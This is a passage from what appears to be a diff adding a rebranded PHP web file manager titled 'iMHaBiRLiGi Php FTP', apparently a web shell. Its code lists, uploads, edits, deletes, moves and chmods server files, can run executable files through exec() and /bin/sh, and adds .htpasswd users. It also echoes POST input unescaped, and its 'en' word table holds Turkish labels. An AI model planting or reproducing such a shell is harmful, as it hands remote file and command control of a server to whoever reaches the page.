word('other') . '</td> + </tr> + <tr> + <td style="text-align: right">' . word('read') . ':</td> + <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td> + </tr> + <tr> + <td style="text-align: right">' . word('write') . ':</td> + <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td> + </tr> + <tr> + <td style="text-align: right">' . word('execute') . ':</td> + <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td> + </tr> + </table> + + <hr /> + + <input type="submit" name="set" value="' . word('set') . '" /> + + <input type="hidden" name="action" value="permission" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +default: + + listing_page(); + +} + +/* ------------------------------------------------------------------------- */ + +function getlist ($directory) { + global $delim, $win; + + if ($d = @opendir($directory)) { + + while (($filename = @readdir($d)) !== false) { + + $path = $directory . $filename; + + if ($stat = @lstat($path)) { + + $file = array( + 'filename' => $filename, + 'path' => $path, + 'is_file' => @is_file($path), + 'is_dir' => @is_dir($path), + 'is_link' => @is_link($path), + 'is_readable' => @is_readable($path), + 'is_writable' => @is_writable($path), + 'size' => $stat['size'], + 'permission' => $stat['mode'], + 'owner' => $stat['uid'], + 'group' => $stat['gid'], + 'mtime' => @filemtime($path), + 'atime' => @fileatime($path), + 'ctime' => @filectime($path) + ); + + if ($file['is_dir']) { + $file['is_executable'] = @file_exists($path . $delim . '.'); + } else { + if (!$win) { + $file['is_executable'] = @is_executable($path); + } else { + $file['is_executable'] = true; + } + } + + if ($file['is_link']) $file['target'] = @readlink($path); + + if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); + if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); + + $files[] = $file; + + } + + } + + return $files; + + } else { + return false; + } + +} + +function sortlist (&$list, $key, $reverse) { + + quicksort($list, 0, sizeof($list) - 1, $key); + + if ($reverse) $list = array_reverse($list); + +} + +function quicksort (&$array, $first, $last, $key) { + + if ($first < $last) { + + $cmp = $array[floor(($first + $last) / 2)][$key]; + + $l = $first; + $r = $last; + + while ($l <= $r) { + + while ($array[$l][$key] < $cmp) $l++; + while ($array[$r][$key] > $cmp) $r--; + + if ($l <= $r) { + + $tmp = $array[$l]; + $array[$l] = $array[$r]; + $array[$r] = $tmp; + + $l++; + $r--; + + } + + } + + quicksort($array, $first, $r, $key); + quicksort($array, $l, $last, $key); + + } + +} + +function permission_octal2string ($mode) { + + if (($mode & 0xC000) === 0xC000) { + $type = 's'; + } elseif (($mode & 0xA000) === 0xA000) { + $type = 'l'; + } elseif (($mode & 0x8000) === 0x8000) { + $type = '-'; + } elseif (($mode & 0x6000) === 0x6000) { + $type = 'b'; + } elseif (($mode & 0x4000) === 0x4000) { + $type = 'd'; + } elseif (($mode & 0x2000) === 0x2000) { + $type = 'c'; + } elseif (($mode & 0x1000) === 0x1000) { + $type = 'p'; + } else { + $type = '?'; + } + + $owner = ($mode & 00400) ? 'r' : '-'; + $owner .= ($mode & 00200) ? 'w' : '-'; + if ($mode & 0x800) { + $owner .= ($mode & 00100) ? 's' : 'S'; + } else { + $owner .= ($mode & 00100) ? 'x' : '-'; + } + + $group = ($mode & 00040) ? 'r' : '-'; + $group .= ($mode & 00020) ? 'w' : '-'; + if ($mode & 0x400) { + $group .= ($mode & 00010) ? 's' : 'S'; + } else { + $group .= ($mode & 00010) ? 'x' : '-'; + } + + $other = ($mode & 00004) ? 'r' : '-'; + $other .= ($mode & 00002) ? 'w' : '-'; + if ($mode & 0x200) { + $other .= ($mode & 00001) ? 't' : 'T'; + } else { + $other .= ($mode & 00001) ? 'x' : '-'; + } + + return $type . $owner . $group . $other; + +} + +function is_script ($filename) { + return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); +} + +function getmimetype ($filename) { + static $mimes = array( + '\.jpg$|\.jpeg$' => 'image/jpeg', + '\.gif$' => 'image/gif', + '\.png$' => 'image/png', + '\.html$|\.html$' => 'text/html', + '\.txt$|\.asc$' => 'text/plain', + '\.xml$|\.xsl$' => 'application/xml', + '\.pdf$' => 'application/pdf' + ); + + foreach ($mimes as $regex => $mime) { + if (eregi($regex, $filename)) return $mime; + } + + // return 'application/octet-stream'; + return 'text/plain'; + +} + +function del ($file) { + global $delim; + + if (!@is_link($file) && !file_exists($file)) return false; + + if (!@is_link($file) && @is_dir($file)) { + + if ($dir = @opendir($file)) { + + $error = false; + + while (($f = readdir($dir)) !== false) { + if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { + $error = true; + } + } + closedir($dir); + + if (!$error) return @rmdir($file); + + return !$error; + + } else { + return false; + } + + } else { + return @unlink($file); + } + +} + +function addslash ($directory) { + global $delim; + + if (substr($directory, -1, 1) != $delim) { + return $directory . $delim; + } else { + return $directory; + } + +} + +function relative2absolute ($string, $directory) { + + if (path_is_relative($string)) { + return simplify_path(addslash($directory) . $string); + } else { + return simplify_path($string); + } + +} + +function path_is_relative ($path) { + global $win; + + if ($win) { + return (substr($path, 1, 1) != ':'); + } else { + return (substr($path, 0, 1) != '/'); + } + +} + +function absolute2relative ($directory, $target) { + global $delim; + + $path = ''; + while ($directory != $target) { + if ($directory == substr($target, 0, strlen($directory))) { + $path .= substr($target, strlen($directory)); + break; + } else { + $path .= '..' . $delim; + $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); + } + } + if ($path == '') $path = '.'; + + return $path; + +} + +function simplify_path ($path) { + global $delim; + + if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { + $path = realpath($path); + if (@is_dir($path)) { + return addslash($path); + } else { + return $path; + } + } + + $pattern = $delim . '.' . $delim; + + if (@is_dir($path)) { + $path = addslash($path); + } + + while (strpos($path, $pattern) !== false) { + $path = str_replace($pattern, $delim, $path); + } + + $e = addslashes($delim); + $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; + + while (ereg($regex, $path)) { + $path = ereg_replace($regex, $delim, $path); + } + + return $path; + +} + +function human_filesize ($filesize) { + + $suffices = 'kMGTPE'; + + $n = 0; + while ($filesize >= 1000) { + $filesize /= 1024; + $n++; + } + + $filesize = round($filesize, 3 - strpos($filesize, '.')); + + if (strpos($filesize, '.') !== false) { + while (in_array(substr($filesize, -1, 1), array('0', '.'))) { + $filesize = substr($filesize, 0, strlen($filesize) - 1); + } + } + + $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); + + return $filesize . " {$suffix}B"; + +} + +function strip (&$str) { + $str = stripslashes($str); +} + +/* ------------------------------------------------------------------------- */ + +function listing_page ($message = null) { + global $self, $directory, $sort, $reverse; + + html_header(); + + $list = getlist($directory); + + if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; + if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; + + sortlist($list, $sort, $reverse); + + echo '<h1 style="margin-bottom: 0">iMHaBiRLiGi Php FTP</h1> + +<form enctype="multipart/form-data" action="' . $self . '" method="post"> + +<table id="main"> +'; + + directory_choice(); + + if (!empty($message)) { + spacer(); + echo $message; + } + + if (@is_writable($directory)) { + upload_box(); + create_box(); + } else { + spacer(); + } + + if ($list) { + listing($list); + } else { + echo error('not_readable', $directory); + } + + echo '</table> + +</form> + +'; + + html_footer(); + +} + +function listing ($list) { + global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; + + echo '<tr class="listing"> + <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th> +'; + + $d = 'dir=' . urlencode($directory) . '&amp;'; + + if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n"; + + if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n"; + + if (!$win) { + + if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n"; + + if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n"; + + if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n"; + + } + + echo ' <th class="Grevler">' . word('Grevler') . '</th> +</tr> +'; + + for ($i = 0; $i < sizeof($list); $i++) { + $file = $list[$i]; + + $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; + $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; + $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); + + echo '<tr class="listing"> + <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td> + <td class="filename" title="' . html($timestamps) . '">'; + + if ($file['is_link']) { + + echo '<img src="' . $self . '?image=link" alt="link" /> '; + echo html($file['filename']) . ' &rarr; '; + + $real_file = relative2absolute($file['target'], $directory); + + if (@is_readable($real_file)) { + if (@is_dir($real_file)) { + echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]'; + } else { + echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>'; + } + } else { + echo html($file['target']); + } + + } elseif ($file['is_dir']) { + + echo '<img src="' . $self . '?image=folder" alt="folder" /> [ '; + if ($win || $file['is_executable']) { + echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; + } else { + echo html($file['filename']); + } + echo ' ]'; + + } else { + + if (substr($file['filename'], 0, 1) == '.') { + echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> '; + } else { + echo '<img src="' . $self . '?image=file" alt="file" /> '; + } + + if ($file['is_file'] && $file['is_readable']) { + echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; + } else { + echo html($file['filename']); + } + + } + + if ($file['size'] >= 1000) { + $human = ' title="' . human_filesize($file['size']) . '"'; + } else { + $human = ''; + } + + echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n"; + + if (!$win) { + + echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">'; + + $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); + if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">'; + echo html(permission_octal2string($file['permission'])); + if ($l) echo '</a>'; + + echo "</td>\n"; + + if (array_key_exists('owner_name', $file)) { + echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n"; + } else { + echo "\t<td class=\"owner\">{$file['owner']}</td>\n"; + } + + if (array_key_exists('group_name', $file)) { + echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n"; + } else { + echo "\t<td class=\"group\">{$file['group']}</td>\n"; + } + + } + + echo ' <td class="Grevler"> + <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" /> +'; + + $actions = array(); + if (function_exists('symlink')) { + $actions[] = 'create_symlink'; + } + if (@is_writable(dirname($file['path']))) { + $actions[] = 'Sil'; + $actions[] = 'Degistir'; + $actions[] = 'Tasi'; + } + if ($file['is_file'] && $file['is_readable']) { + $actions[] = 'Kopyala'; + $actions[] = 'indir'; + if ($file['is_writable']) $actions[] = 'Dzenle'; + } + if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { + $actions[] = 'execute'; + } + + if (sizeof($actions) > 0) { + + echo ' <select class="small" name="action' . $i . '" size="1"> + <option value="">' . str_repeat('&nbsp;', 30) . '</option> +'; + + foreach ($actions as $action) { + echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; + } + + echo ' </select> + <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" /> +'; + + } + + echo ' </td> +</tr> +'; + + } + + echo '<tr class="listing_footer"> + <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td> + <td colspan="' . ($cols - 1) . '"> + <input type="hidden" name="num" value="' . sizeof($list) . '" /> + <input type="hidden" name="focus" value="" /> + <input type="hidden" name="olddir" value="' . html($directory) . '" /> +'; + + $actions = array(); + if (@is_writable(dirname($file['path']))) { + $actions[] = 'Sil'; + $actions[] = 'Tasi'; + } + $actions[] = 'Kopyala'; + + echo ' <select class="small" name="action_all" size="1"> + <option value="">' . str_repeat('&nbsp;', 30) . '</option> +'; + + foreach ($actions as $action) { + echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; + } + + echo ' </select> + <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" /> + </td> +</tr> +'; + +} + +function directory_choice () { + global $directory, $homedir, $cols, $self; + + echo '<tr> + <td colspan="' . $cols . '" id="directory"> + <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>: + <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" /> + <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /> + </td> +</tr> +'; + +} + +function upload_box () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" id="upload"> + ' . word('file') . ': + <input type="file" name="upload" onfocus="activate(\'other\')" /> + <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /> + </td> +</tr> +'; + +} + +function create_box () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" id="create"> + <select name="create_type" size="1" onfocus="activate(\'create\')"> + <option value="file">' . word('file') . '</option> + <option value="directory">' . word('directory') . '</option> + </select> + <input type="text" name="create_name" onfocus="activate(\'create\')" /> + <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" /> + </td> +</tr> +'; + +} + +function Dzenle ($file) { + global $self, $directory, $Dzenlecols, $Dzenlerows, $apache, $htpasswd, $htaccess; + + html_header(); + + echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2> + +<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + + <textarea name="content" cols="' . $Dzenlecols . '" rows="' . $Dzenlerows . '" WRAP="off">'; + + if (array_key_exists('content', $_POST)) { + echo $_POST['content']; + } else { + $f = fopen($file, 'r'); + while (!feof($f)) { + echo html(fread($f, 8192)); + } + fclose($f); + } + + if (!empty($_POST['user'])) { + echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']); + } + if (!empty($_POST['basic_auth'])) { + if ($win) { + $authfile = str_replace('\\', '/', $directory) . $htpasswd; + } else { + $authfile = $directory . $htpasswd; + } + echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n"; + echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n"; + echo 'Require valid-user'; + } + + echo '</textarea> + + <hr /> +'; + + if ($apache && basename($file) == $htpasswd) { + echo ' + ' . word('user') . ': <input type="text" name="user" /> + ' . word('password') . ': <input type="password" name="password" /> + <input type="submit" value="' . word('add') . '" /> + + <hr /> +'; + + } + + if ($apache && basename($file) == $htaccess) { + echo ' + <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" /> + + <hr /> +'; + + } + + echo ' + <input type="hidden" name="action" value="Dzenle" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + <input type="reset" value="' . word('reset') . '" id="red_button" /> + <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" /> + +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + +} + +function spacer () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" style="height: 1em"></td> +</tr> +'; + +} + +function textfieldsize ($content) { + + $size = strlen($content) + 5; + if ($size < 30) $size = 30; + + return $size; + +} + +function request_dump () { + + foreach ($_REQUEST as $key => $value) { + echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n"; + } + +} + +/* ------------------------------------------------------------------------- */ + +function html ($string) { + global $charset; + return htmlentities($string, ENT_COMPAT, $charset); +} + +function word ($word) { + global $words, $word_charset; + return htmlentities($words[$word], ENT_COMPAT, $word_charset); +} + +function phrase ($phrase, $arguments) { + global $words; + static $search; + + if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; + + for ($i = 0; $i < sizeof($arguments); $i++) { + $arguments[$i] = nl2br(html($arguments[$i])); + } + + $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>'); + + return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); + +} + +function getwords ($lang) { + global $word_charset, $date_format; + + switch ($lang) { + case 'de': + + $date_format = 'd.m.y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Verzeichnis', +'file' => 'Datei', +'filename' => 'Dateiname', + +'size' => 'Gre', +'permission' => 'Rechte', +'owner' => 'Eigner', +'group' => 'Gruppe', +'other' => 'Andere', +'Grevler' => 'Funktionen', + +'read' => 'lesen', +'write' => 'schreiben', +'execute' => 'ausfhren', + +'create_symlink' => 'Symlink erstellen', +'Sil' => 'lschen', +'Degistir' => 'umbenennen', +'Tasi' => 'verschieben', +'Kopyala' => 'kopieren', +'Dzenle' => 'Dzenleieren', +'indir' => 'herunterladen', +'upload' => 'hochladen', +'create' => 'erstellen', +'change' => 'wechseln', +'save' => 'speichern', +'set' => 'setze', +'reset' => 'zurcksetzen', +'relative' => 'Pfad zum Ziel relativ', + +'yes' => 'Ja', +'no' => 'Nein', +'Geri' => 'zurck', +'Yol' => 'Ziel', +'symlink' => 'Symbolischer Link', +'no_output' => 'keine Ausgabe', + +'user' => 'Benutzername', +'password' => 'Kennwort', +'add' => 'hinzufgen', +'add_basic_auth' => 'HTTP-Basic-Auth hinzufgen', + +'uploaded' => '"[%1]" wurde hochgeladen.', +'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', +'already_exists' => '"[%1]" existiert bereits.', +'created' => '"[%1]" wurde erstellt.', +'not_created' => '"[%1]" konnte nicht erstellt werden.', +'really_Sil' => 'Sollen folgende Dateien wirklich gelscht werden?', +'Sild' => "Folgende Dateien wurden gelscht:\n[%1]", +'not_Sild' => "Folgende Dateien konnten nicht gelscht werden:\n[%1]", +'Degistir_file' => 'Benenne Datei um:', +'Degistird' => '"[%1]" wurde in "[%2]" umbenannt.', +'not_Degistird' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', +'Tasi_files' => 'Verschieben folgende Dateien:', +'Tasid' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", +'not_Tasid' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", +'Kopyala_files' => 'Kopiere folgende Dateien:', +'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", +'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", +'not_Dzenleed' => '"[%1]" kann nicht Dzenleiert werden.', +'executed' => "\"[%1]\" wurde erfolgreich ausgefhrt:\n{%2}", +'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgefhrt werden:\n{%2}", +'saved' => '"[%1]" wurde gespeichert.', +'not_saved' => '"[%1]" konnte nicht gespeichert werden.', +'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', +'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', +'permission_for' => 'Rechte fr "[%1]":', +'permission_set' => 'Die Rechte fr "[%1]" wurden auf [%2] gesetzt.', +'permission_not_set' => 'Die Rechte fr "[%1]" konnten nicht auf [%2] gesetzt werden.', +'not_readable' => '"[%1]" kann nicht gelesen werden.' + ); + + case 'fr': + + $date_format = 'd.m.y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Rpertoire', +'file' => 'Fichier', +'filename' => 'Nom fichier', + +'size' => 'Taille', +'permission' => 'Droits', +'owner' => 'Propritaire', +'group' => 'Groupe', +'other' => 'Autres', +'Grevler' => 'Fonctions', + +'read' => 'Lire', +'write' => 'Ecrire', +'execute' => 'Excuter', + +'create_symlink' => 'Crer lien symbolique', +'Sil' => 'Effacer', +'Degistir' => 'Renommer', +'Tasi' => 'Dplacer', +'Kopyala' => 'Copier', +'Dzenle' => 'Ouvrir', +'indir' => 'Tlcharger sur PC', +'upload' => 'Tlcharger sur serveur', +'create' => 'Crer', +'change' => 'Changer', +'save' => 'Sauvegarder', +'set' => 'Excuter', +'reset' => 'Rinitialiser', +'relative' => 'Relatif', + +'yes' => 'Oui', +'no' => 'Non', +'Geri' => 'Retour', +'Yol' => 'Yol', +'symlink' => 'Lien symbollique', +'no_output' => 'Pas de sortie', + +'user' => 'Utilisateur', +'password' => 'Mot de passe', +'add' => 'Ajouter', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" a t tlcharg sur le serveur.', +'not_uploaded' => '"[%1]" n a pas t tlcharg sur le serveur.', +'already_exists' => '"[%1]" existe dj.', +'created' => '"[%1]" a t cr.', +'not_created' => '"[%1]" n a pas pu tre cr.', +'really_Sil' => 'Effacer le fichier?', +'Sild' => "Ces fichiers ont t dtuits:\n[%1]", +'not_Sild' => "Ces fichiers n ont pu tre dtruits:\n[%1]", +'Degistir_file' => 'Renomme fichier:', +'Degistird' => '"[%1]" a t renomm en "[%2]".', +'not_Degistird' => '"[%1] n a pas pu tre renomm en "[%2]".', +'Tasi_files' => 'Dplacer ces fichiers:', +'Tasid' => "Ces fichiers ont t dplacs en \"[%2]\":\n[%1]", +'not_Tasid' => "Ces fichiers n ont pas pu tre dplacs en \"[%2]\":\n[%1]", +'Kopyala_files' => 'Copier ces fichiers:', +'copied' => "Ces fichiers ont t copis en \"[%2]\":\n[%1]", +'not_copied' => "Ces fichiers n ont pas pu tre copis en \"[%2]\":\n[%1]", +'not_Dzenleed' => '"[%1]" ne peut tre ouvert.', +'executed' => "\"[%1]\" a t brillamment excut :\n{%2}", +'not_executed' => "\"[%1]\" n a pas pu tre excut:\n{%2}", +'saved' => '"[%1]" a t sauvegard.', +'not_saved' => '"[%1]" n a pas pu tre sauvegard.', +'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a t cre.', +'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu tre cr.', +'permission_for' => 'Droits de "[%1]":', +'permission_set' => 'Droits de "[%1]" ont t changs en [%2].', +'permission_not_set' => 'Droits de "[%1]" n ont pas pu tre changs en[%2].', +'not_readable' => '"[%1]" ne peut pas tre ouvert.' + ); + + case 'it': + + $date_format = 'd-m-Y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Directory', +'file' => 'File', +'filename' => 'Nome File', + +'size' => 'Dimensioni', +'permission' => 'Permessi', +'owner' => 'Proprietario', +'group' => 'Gruppo', +'other' => 'Altro', +'Grevler' => 'Funzioni', + +'read' => 'leggi', +'write' => 'scrivi', +'execute' => 'esegui', + +'create_symlink' => 'crea link simbolico', +'Sil' => 'cancella', +'Degistir' => 'rinomina', +'Tasi' => 'sposta', +'Kopyala' => 'copia', +'Dzenle' => 'modifica', +'indir' => 'indir', +'upload' => 'upload', +'create' => 'crea', +'change' => 'cambia', +'save' => 'salva', +'set' => 'imposta', +'reset' => 'reimposta', +'relative' => 'Percorso relativo per la destinazione', + +'yes' => 'Si', +'no' => 'No', +'Geri' => 'indietro', +'Yol' => 'Destinazione', +'symlink' => 'Link simbolico', +'no_output' => 'no output', + +'user' => 'User', +'password' => 'Password', +'add' => 'aggiungi', +'add_basic_auth' => 'aggiungi autenticazione base', + +'uploaded' => '"[%1]" stato caricato.', +'not_uploaded' => '"[%1]" non stato caricato.', +'already_exists' => '"[%1]" esiste gi.', +'created' => '"[%1]" stato creato.', +'not_created' => '"[%1]" non stato creato.', +'really_Sil' => 'Cancello questi file ?', +'Sild' => "Questi file sono stati cancellati:\n[%1]", +'not_Sild' => "Questi file non possono essere cancellati:\n[%1]", +'Degistir_file' => 'File rinominato:', +'Degistird' => '"[%1]" stato rinominato in "[%2]".', +'not_Degistird' => '"[%1] non stato rinominato in "[%2]".', +'Tasi_files' => 'Sposto questi file:', +'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", +'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", +'Kopyala_files' => 'Copio questi file', +'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", +'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", +'not_Dzenleed' => '"[%1]" non pu essere modificato.', +'executed' => "\"[%1]\" stato eseguito con successo:\n{%2}", +'not_executed' => "\"[%1]\" non stato eseguito con successo\n{%2}", +'saved' => '"[%1]" stato salvato.', +'not_saved' => '"[%1]" non stato salvato.', +'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" stato creato.', +'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non stato creato.', +'permission_for' => 'Permessi di "[%1]":', +'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', +'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', +'not_readable' => '"[%1]" non pu essere letto.' + ); + + case 'se': + + $date_format = 'n/j/y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Mapp', +'file' => 'Fil', +'filename' => 'Filnamn', + +'size' => 'Storlek', +'permission' => 'Skerhetsniv', +'owner' => 'gare', +'group' => 'Grupp', +'other' => 'Andra', +'Grevler' => 'Funktioner', + +'read' => 'Ls', +'write' => 'Skriv', +'execute' => 'Utfr', + +'create_symlink' => 'Skapa symlink', +'Sil' => 'Radera', +'Degistir' => 'Byt namn', +'Tasi' => 'Flytta', +'Kopyala' => 'Kopiera', +'Dzenle' => 'ndra', +'indir' => 'Ladda ner', +'upload' => 'Ladda upp', +'create' => 'Skapa', +'change' => 'ndra', +'save' => 'Spara', +'set' => 'Markera', +'reset' => 'Tm', +'relative' => 'Relative path to target', + +'yes' => 'Ja', +'no' => 'Nej', +'Geri' => 'Tillbaks', +'Yol' => 'Yol', +'symlink' => 'Symlink', +'no_output' => 'no output', + +'user' => 'Anvndare', +'password' => 'Lsenord', +'add' => 'Lgg till', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" har laddats upp.', +'not_uploaded' => '"[%1]" kunde inte laddas upp.', +'already_exists' => '"[%1]" finns redan.', +'created' => '"[%1]" har skapats.', +'not_created' => '"[%1]" kunde inte skapas.', +'really_Sil' => 'Radera dessa filer?', +'Sild' => "De hr filerna har raderats:\n[%1]", +'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]", +'Degistir_file' => 'Byt namn p fil:', +'Degistird' => '"[%1]" har bytt namn till "[%2]".', +'not_Degistird' => '"[%1] kunde inte dpas om till "[%2]".', +'Tasi_files' => 'Flytta dessa filer:', +'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", +'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", +'Kopyala_files' => 'Kopiera dessa filer:', +'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", +'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", +'not_Dzenleed' => '"[%1]" kan inte ndras.', +'executed' => "\"[%1]\" har utfrts:\n{%2}", +'not_executed' => "\"[%1]\" kunde inte utfras:\n{%2}", +'saved' => '"[%1]" har sparats.', +'not_saved' => '"[%1]" kunde inte sparas.', +'symlinked' => 'Symlink frn "[%2]" till "[%1]" har skapats.', +'not_symlinked' => 'Symlink frn "[%2]" till "[%1]" kunde inte skapas.', +'permission_for' => 'Rttigheter fr "[%1]":', +'permission_set' => 'Rttigheter fr "[%1]" ndrades till [%2].', +'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', +'not_readable' => '"[%1]" kan inte lsas.' + ); + + case 'en': + default: + + $date_format = 'n/j/y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Dzergah', +'file' => 'Dosya', +'filename' => 'DosyaAdi', + +'size' => 'Boyut', +'permission' => 'izin', +'owner' => 'Sahip', +'group' => 'Grup', +'other' => 'Dierleri', +'Grevler' => 